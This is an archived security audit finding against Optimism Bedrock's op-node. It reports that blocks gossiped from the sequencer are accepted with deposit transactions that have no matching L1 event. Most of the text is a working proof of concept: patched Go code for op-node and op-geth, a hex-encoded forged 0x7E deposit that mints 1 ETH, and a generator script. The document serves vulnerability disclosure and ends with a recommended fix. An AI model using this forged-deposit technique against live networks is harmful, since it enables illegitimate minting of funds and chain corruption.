Skip to content
This repository has been archived by the owner on May 26, 2023. It is now read-only.

Latest commit

 

History

History
507 lines (410 loc) · 21.1 KB

038.md

File metadata and controls

507 lines (410 loc) · 21.1 KB

Bobface

medium

Node accepts blocks from the sequencer which contain non-existent deposit transactions via the gossip network

Summary

The consensus client op-node accepts blocks from the sequencer which contain non-existent deposit transactions via the gossip network.

Vulnerability Detail

The op-node consensus client is connected to other nodes via a peer-to-peer gossip network. The gossip network supports messages of type ExecutionPayload, through which blocks can be propagated throughout the network before they can be derived from the L1 state. Upon receiving such a message, the node checks the block for validity, such as checking the block hash and transaction signatures. Afterwards, the node passes the block to the execution client op-geth using the engine_NewPayloadV1 API endpoint, which then appends it to its chain.

Optimism blocks can contain special transactions known as deposit transactions with type 0x7E. These transactions are used for executing L1 -> L2 transactions which were initiated on L1 through the OptimismPortal. When a message is sent through OptimismPortal, an event is emitted, which will be picked up by the sequencer, which will then include a deposit transaction in one of the next blocks it generates, and the block is distributed to other nodes over the gossip network.

Nodes receiving this block will check it for validity as described earlier, but an important step is missing: deposit transactions are not checked. Upon receiving the block over the network, the node will run it through p2p/gossip.go@BuildBlocksValidator to check that:

  • the message size is not too large to avoid DoS attacks
  • the message originates from the sequencer
  • the block has a valid SSZ encoding
  • the timestamp is within bounds
  • the block hash is correct

Afterwards, the block is queued for execution and picked up by rollup/derive/engine_queue.go@tryNextUnsafePayload which, when pendingBlockNumber = tipBlockNumber + 1 will try to append it to the chain by sending it to the execution client using the engine_NewPayloadV1 RPC call.

The execution client will then further verify the block in eth/catalyst/api.go@NewPayloadV1 to, among other things, check that:

  • the block has is correct
  • the gas limit is not exceeded
  • the transactions have a valid signature and nonce
  • ...

Finally, the block is appended to the chain.

What's missing in this process is validating deposit transactions. Since these kinds of transactions do not have a signature, the only way to validate them would be to check whether a corresponding event has been emitted on the L1 OptimismPortal. When deriving L2 state from L1 state, this is what happens, but when receiving blocks via the gossip network, this does not take place, and would thus allow non-existent deposit transactions to be included in blocks by the sequencer.

Impact

Deposit transactions can be invoked from any account since they only have a From field but no signature, and have a Mint field which mints ETH on L2. Damage could be caused by this issue through a misbehaving sequencer, e.g.:

  1. Malicious party gains access to the sequencer and purposefully send out bad blocks, or
  2. Bug in the sequencer causes invalid deposit transactions to be included in blocks

In both cases, the non-sequencer nodes on the network would accept these blocks and append them to their local chain.

Code Snippet

Below follows the PoC. For ease-of-use, it is designed to run from within the clients itself and simulate an incoming gossip message, instead of actually sending the message over a network connection.

The code snippets assume that you use an editor which automatically adds imports for Go files upon saving. If not, you might have to manually update the imports.

How the PoC works

When the op-node starts, an incoming gossip message in simulated in JoinGossip, which is then picked up by tryNextUnsafePayload.

tryNextUnsafePayload checks for the block number to be the magic number 123123123123, which means that it is our local simulated message. Some values, such as the state root after the block is appended are dynamically calculated in getPocValues by using the custom engine_getPocValues method, which simulates the state after the block is appended. The RPC method is called twice: first to get the merkle roots, and then again to get the block hash. Since we do not know the block hash during the RPC calls, we earlier commented-out the block hash check which would fail here.

The filled-in message is then used by the existing logic to make a RPC call to engine_NewPayloadV1, which hands the block over to the execution client. The execution client verifies the block and appends it to the chain.

Note that we skip the BuildBlocksValidator check in this PoC -- this is also for ease-of-use, as including this check would make the PoC significantly more complicated. It should be clearly visible which checks this method applies to incoming messages by just looking through the function, and that these checks would not reject the block we generate in the PoC.

Running the PoC

First time setup

Apply the changes to the source files as they are listed below.

Then navigate into the op-geth directory and run docker build -t op-geth-local . . This will build the local image of op-geth with the included GetPocValues helper RPC method. We earlier updated the Dockerfile.l2 to use this local image.

Executing the PoC

Navigate into the op-node directory and run ./ops-bedrock/devnet-up.sh to boot the devnet. Then navigate into the ops-bedrock directory, wait at least 10 seconds, and run docker-compose logs | grep "XX". You should see output similar to this:

op-node_1      | XX: Balance before 0x0
op-node_1      | XX: Received payload execution result status VALID latestValidHash 0xc28de6f8af777e51147d6b92328b66db85734ff0ef0644b891f5af801ec0a6b5 message <nil>
op-node_1      | XX: Balance after 0xde0b6b3a7640000

This demonstrates that the block was successfully appended to the chain and 1 ETH minted. To restart the PoC, run docker-compose down -v and then start again.

Note: Roughly every tenth execution the message seems to not get picked up by tryNextUnsafePayload and no output produced. I was not able to figure out why, but if this happens, simply start the process again.

Changes to op-node

1. p2p/gossip.go Overwrite the end of JoinGossip starting at L440 with the following code. This will simulate a ExecutionPayload message coming in from the p2p network.

handler := BlocksHandler(gossipIn.OnUnsafeL2Payload)
subscriber := MakeSubscriber(log, handler)
go subscriber(p2pCtx, subscription)

go func() {
    for {
	    // Simulate an incoming gossip message.
		// The actual `ExecutionPayload` will be built in the handler.
		// The block number is set so the handler can check whether it's handling our own message.
		time.Sleep(10 * time.Second)
		handler(context.Background(), *new(peer.ID), &eth.ExecutionPayload{
		    BlockNumber: 123123123123,
		})
	}
}()

return &publisher{log: log, cfg: cfg, blocksTopic: blocksTopic, runCfg: runCfg}, nil

2. rollup/derive/engine_queue.go Update type Engine interface at the top of the file to include a GetPocValues(payload *eth.ExecutionPayload) (map[string]interface{}, error) method.

type Engine interface {
	GetPayload(ctx context.Context, payloadId eth.PayloadID) (*eth.ExecutionPayload, error)
	ForkchoiceUpdate(ctx context.Context, state *eth.ForkchoiceState, attr *eth.PayloadAttributes) (*eth.ForkchoiceUpdatedResult, error)
	NewPayload(ctx context.Context, payload *eth.ExecutionPayload) (*eth.PayloadStatusV1, error)
	GetPocValues(payload *eth.ExecutionPayload) (map[string]interface{}, error)
	PayloadByHash(context.Context, common.Hash) (*eth.ExecutionPayload, error)
	PayloadByNumber(context.Context, uint64) (*eth.ExecutionPayload, error)
	L2BlockRefByLabel(ctx context.Context, label eth.BlockLabel) (eth.L2BlockRef, error)
	L2BlockRefByHash(ctx context.Context, l2Hash common.Hash) (eth.L2BlockRef, error)
	SystemConfigL2Fetcher
}

Insert the following if statement to the top of tryNextUnsafePayload. This statement will check whether the current message is our own and update it accordingly.

func (eq *EngineQueue) tryNextUnsafePayload(ctx context.Context) error {
	first := eq.unsafePayloads.Peek()

	if first.BlockNumber == 123123123123 {
		// If this is our own message, fill in the message through `updateForPoc`
		fmt.Println("XX: Balance before", getBalance("0x8843cdd0Bad94203C26acB2a23af92806D77F331"))
		eq.updateForPoc(first)
	}

    // ...

In the same method, at the following print before the end of the method:

fmt.Println("XX: Balance after", getBalance("0x8843cdd0Bad94203C26acB2a23af92806D77F331"))
return nil

Finally, append the following methods to the end of the file:

func (eq *EngineQueue) updateForPoc(payload *eth.ExecutionPayload) {
	// This method will fill in the `ExecutionPayload` data.
	//
	// Some data is pre-calculated, such as the `tx`, which is a 0x7E deposit transaction
	// which will mint 1 ETH to 0x8843cdd0Bad94203C26acB2a23af92806D77F331
	//
	// Other data is dynamically calculated or fetched from the execution node,
	// such as the receipts or state root.
	//
	// In a real scenario, all these values would be calculated by the attacker
	// before sending the message over the gossip network.
	// However, it is significantly easier to do this from within the application itself,
	// since it has all required data readily available. That is why we are doing it here for the PoC.

	// Decode the tx
	tx, _ := hex.DecodeString("7ef90161a00000000000000000000000000000000000000000000000000000000000000000948843cdd0bad94203c26acb2a23af92806d77f331948843cdd0bad94203c26acb2a23af92806d77f331880de0b6b3a764000080830f424080b90104015d8eb9000000000000000000000000000000000000000000000000000000000000007b000000000000000000000000000000000000000000000000000000000000007b000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b0000000000000000000000008843cdd0bad94203c26acb2a23af92806d77f33100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001")

	// Build the payload
	*payload = eth.ExecutionPayload{
		ParentHash:    eq.unsafeHead.Hash,
		FeeRecipient:  common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331"),
		StateRoot:     [32]byte{},
		ReceiptsRoot:  [32]byte{},
		BlockNumber:   hexutil.Uint64(eq.unsafeHead.Number + 1),
		GasLimit:      10_000_000,
		GasUsed:       1_000_000,
		Timestamp:     hexutil.Uint64(time.Now().Unix() + 1),
		BaseFeePerGas: *new(uint256.Int).SetUint64(7),
		ExtraData:     []byte{},
		BlockHash:     common.HexToHash("0x0000000000000000000000000000000000000000000000000000000000000000"),
		LogsBloom:     [256]byte{},
		Transactions:  []eth.Data{tx},
	}

	// Request values for the first time, ignoring the block hash
	logsBloom, receiptsRoot, stateRoot, _, err := eq.getPocValues(payload)
	if err != nil {
		return
	}

	payload.LogsBloom = logsBloom
	payload.ReceiptsRoot = receiptsRoot
	payload.StateRoot = stateRoot

	// Request values a second time, this time for the block hash
	_, _, _, blockHash, err := eq.getPocValues(payload)
	if err != nil {
		return
	}

	payload.BlockHash = blockHash
}

func (eq *EngineQueue) getPocValues(payload *eth.ExecutionPayload) ([256]byte, [32]byte, [32]byte, [32]byte, error) {
	// Fetches merkle roots from the execution node
	resp, err := eq.engine.GetPocValues(payload)
	if err != nil {
		fmt.Println("XX: ", err)
		return [256]byte{}, [32]byte{}, [32]byte{}, [32]byte{}, err
	}

	logsBloomSlice, _ := hex.DecodeString(resp["bloom"].(string)[2:])
	var logsBloom [256]byte
	copy(logsBloom[:], logsBloomSlice)

	receiptsRootSlice, _ := hex.DecodeString(resp["receiptsSha"].(string)[2:])
	var receiptsRoot [32]byte
	copy(receiptsRoot[:], receiptsRootSlice)

	stateRootSlice, _ := hex.DecodeString(resp["stateRoot"].(string)[2:])
	var stateRoot [32]byte
	copy(stateRoot[:], stateRootSlice)

	blockHashSlice, _ := hex.DecodeString(resp["blockHash"].(string)[2:])
	var blockHash [32]byte
	copy(blockHash[:], blockHashSlice)

	return logsBloom, receiptsRoot, stateRoot, blockHash, nil
}

func getBalance(addr string) string {
	jsonParams := map[string]interface{}{"jsonrpc": "2.0", "method": "eth_getBalance", "params": []interface{}{addr, "latest"}, "id": 0}
	jsonMarshalled, err := json.Marshal(jsonParams)
	if err != nil {
		return err.Error()
	}

	resp, err := http.Post("http://l2:8545", "application/json", bytes.NewReader(jsonMarshalled))
	if err != nil {
		return err.Error()
	}

	defer resp.Body.Close()

	byt, err := io.ReadAll(resp.Body)
	if err != nil {
		return err.Error()
	}

	var respMap map[string]interface{}
	if err := json.Unmarshal(byt, &respMap); err != nil {
		return err.Error()
	}

	return respMap["result"].(string)
}

3. sources/engine_client.go In NewPayload(), at the following if statement after CallContext:

err := s.client.CallContext(execCtx, &result, "engine_newPayloadV1", payload)
isOurs := len(payload.Transactions) == 1 && len(payload.Transactions[0]) == 357
if isOurs {
	fmt.Println("XX: Received payload execution result", "status", result.Status, "latestValidHash", result.LatestValidHash, "message", result.ValidationError)
}

Add the following function to the end of the file:

func (s *EngineClient) GetPocValues(payload *eth.ExecutionPayload) (map[string]interface{}, error) {
	result := make(map[string]interface{})
	err := s.client.CallContext(context.Background(), &result, "engine_getPocValues", payload)
	return result, err
}

4. ops-bedrock/Dockerfile.l2 Replace the first line to use a local image:

FROM op-geth-local:latest

Changes to op-geth

1. core/beacon/types.go Comment-out the if statement from L188-L190. This will disable the block hash check for the custom RPC method we add later. This does not mean that we skip verifying the block hash when adding the block to the chain, it only does so for our custom RPC helper method.

/*if block.Hash() != params.BlockHash {
	return nil, fmt.Errorf("blockhash mismatch, want %x, got %x", params.BlockHash, block.Hash())
}*/

2. eth/catalyst/api.go Add the following custom RPC method to the end of the file:

func (api *ConsensusAPI) GetPocValues(params beacon.ExecutableDataV1) (map[string]interface{}, error) {
	// Decode txs
	var txs = make([]*types.Transaction, len(params.Transactions))
	for i, encTx := range params.Transactions {
		var tx types.Transaction
		if err := tx.UnmarshalBinary(encTx); err != nil {
			return nil, fmt.Errorf("invalid transaction %d: %v", i, err)
		}
		txs[i] = &tx
	}

	// Calculate tx hash
	resTxHash := types.DeriveSha(types.Transactions(txs), trie.NewStackTrie(nil))

	// Build header
	resHeader := &types.Header{
		ParentHash:  params.ParentHash,
		UncleHash:   types.EmptyUncleHash,
		Coinbase:    params.FeeRecipient,
		Root:        params.StateRoot,
		TxHash:      resTxHash,
		ReceiptHash: params.ReceiptsRoot,
		Bloom:       types.BytesToBloom(params.LogsBloom),
		Difficulty:  common.Big0,
		Number:      new(big.Int).SetUint64(params.Number),
		GasLimit:    params.GasLimit,
		GasUsed:     params.GasUsed,
		Time:        params.Timestamp,
		BaseFee:     params.BaseFeePerGas,
		Extra:       params.ExtraData,
		MixDigest:   params.Random,
	}

	// Build block
	resBlock := types.NewBlockWithHeader(resHeader).WithBody(txs, nil)

	// Get the block hash
	resBlockHash := resBlock.Hash()

	// Get supplied block
	block, err := beacon.ExecutableDataToBlock(params)
	if err != nil {
		return nil, err
	}

	// Get the parent
	parent := api.eth.BlockChain().GetBlock(block.ParentHash(), block.NumberU64()-1)

	// Setup state db
	statedb, err := state.New(parent.Root(), api.eth.BlockChain().StateCache(), api.eth.BlockChain().Snapshots())
	if err != nil {
		return nil, err
	}

	// Enable prefetching to pull in trie node paths while processing transactions
	statedb.StartPrefetcher("chain")

	// Process block
	processReceipts, _, _, err := api.eth.BlockChain().Processor().Process(block, statedb, *api.eth.BlockChain().GetVMConfig())
	if err != nil {
		return nil, err
	}

	// Get the bloom
	resBloom := types.CreateBloom(processReceipts)

	// Get the receipts sha
	resReceiptSha := types.DeriveSha(processReceipts, trie.NewStackTrie(nil))

	// Get the state root
	resRoot := statedb.IntermediateRoot(true)

	// Return the results
	res := make(map[string]interface{})
	res["blockHash"] = resBlockHash
	res["bloom"] = resBloom
	res["receiptsSha"] = resReceiptSha
	res["stateRoot"] = resRoot

	return res, nil
}

Tool used

Manual Review

Recommendation

Deposit transactions received via the gossip network should be compared to the OptimismPortal events emitted on L1 to verify their correctness.

Appendix

The raw deposit transaction included in the message is generated using the following custom Go script:

package main

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"math/big"

	"github.com/ethereum/go-ethereum/common"
	"github.com/ethereum/go-ethereum/crypto"
	"github.com/ethereum/go-ethereum/rlp"
)

const (
	L1InfoFuncSignature = "setL1BlockValues(uint64,uint64,uint256,bytes32,uint64,bytes32,uint256,uint256)"
	L1InfoArguments     = 8
	L1InfoLen           = 4 + 32*L1InfoArguments
)

var (
	L1InfoFuncBytes4 = crypto.Keccak256([]byte(L1InfoFuncSignature))[:4]
)

type DepositTx struct {
	// SourceHash uniquely identifies the source of the deposit
	SourceHash common.Hash
	// From is exposed through the types.Signer, not through TxData
	From common.Address
	// nil means contract creation
	To *common.Address `rlp:"nil"`
	// Mint is minted on L2, locked on L1, nil if no minting.
	Mint *big.Int `rlp:"nil"`
	// Value is transferred from L2 balance, executed after Mint (if any)
	Value *big.Int
	// gas limit
	Gas uint64
	// Field indicating if this transaction is exempt from the L2 gas limit.
	IsSystemTransaction bool
	// Normal Tx data
	Data []byte
}

type L1BlockInfo struct {
	Number    uint64
	Time      uint64
	BaseFee   *big.Int
	BlockHash common.Hash
	// Not strictly a piece of L1 information. Represents the number of L2 blocks since the start of the epoch,
	// i.e. when the actual L1 info was first introduced.
	SequenceNumber uint64
	// BatcherHash version 0 is just the address with 0 padding to the left.
	BatcherAddr   common.Address
	L1FeeOverhead [32]byte
	L1FeeScalar   [32]byte
}

func (info *L1BlockInfo) MarshalBinary() ([]byte, error) {
	data := make([]byte, L1InfoLen)
	offset := 0
	copy(data[offset:4], L1InfoFuncBytes4)
	offset += 4
	binary.BigEndian.PutUint64(data[offset+24:offset+32], info.Number)
	offset += 32
	binary.BigEndian.PutUint64(data[offset+24:offset+32], info.Time)
	offset += 32
	// Ensure that the baseFee is not too large.
	if info.BaseFee.BitLen() > 256 {
		return nil, fmt.Errorf("base fee exceeds 256 bits: %d", info.BaseFee)
	}
	info.BaseFee.FillBytes(data[offset : offset+32])
	offset += 32
	copy(data[offset:offset+32], info.BlockHash.Bytes())
	offset += 32
	binary.BigEndian.PutUint64(data[offset+24:offset+32], info.SequenceNumber)
	offset += 32
	copy(data[offset+12:offset+32], info.BatcherAddr[:])
	offset += 32
	copy(data[offset:offset+32], info.L1FeeOverhead[:])
	offset += 32
	copy(data[offset:offset+32], info.L1FeeScalar[:])
	return data, nil
}

func main() {
	l1BlockInfo := L1BlockInfo{
		Number:         123,
		Time:           123,
		BaseFee:        new(big.Int).SetUint64(10),
		BlockHash:      common.HexToHash("0x0000000000000000000000000000000000000000000000000000000000000000"),
		SequenceNumber: 123,
		BatcherAddr:    common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331"),
		L1FeeOverhead:  [32]byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01},
		L1FeeScalar:    [32]byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01},
	}

	l1BlockInfoMarshalled, err := l1BlockInfo.MarshalBinary()
	if err != nil {
		panic(err)
	}

	to := common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331")
	tx := DepositTx{
		SourceHash:          [32]byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00},
		From:                common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331"),
		To:                  &to,
		Mint:                new(big.Int).SetUint64(1000000000000000000),
		Value:               new(big.Int),
		Gas:                 1_000_000,
		IsSystemTransaction: false,
		Data:                l1BlockInfoMarshalled,
	}

	var buf bytes.Buffer
	buf.WriteByte(0x7E)
	err = rlp.Encode(&buf, tx)
	if err != nil {
		panic(err)
	}

	res := buf.Bytes()
	fmt.Println(hex.EncodeToString((res)))
}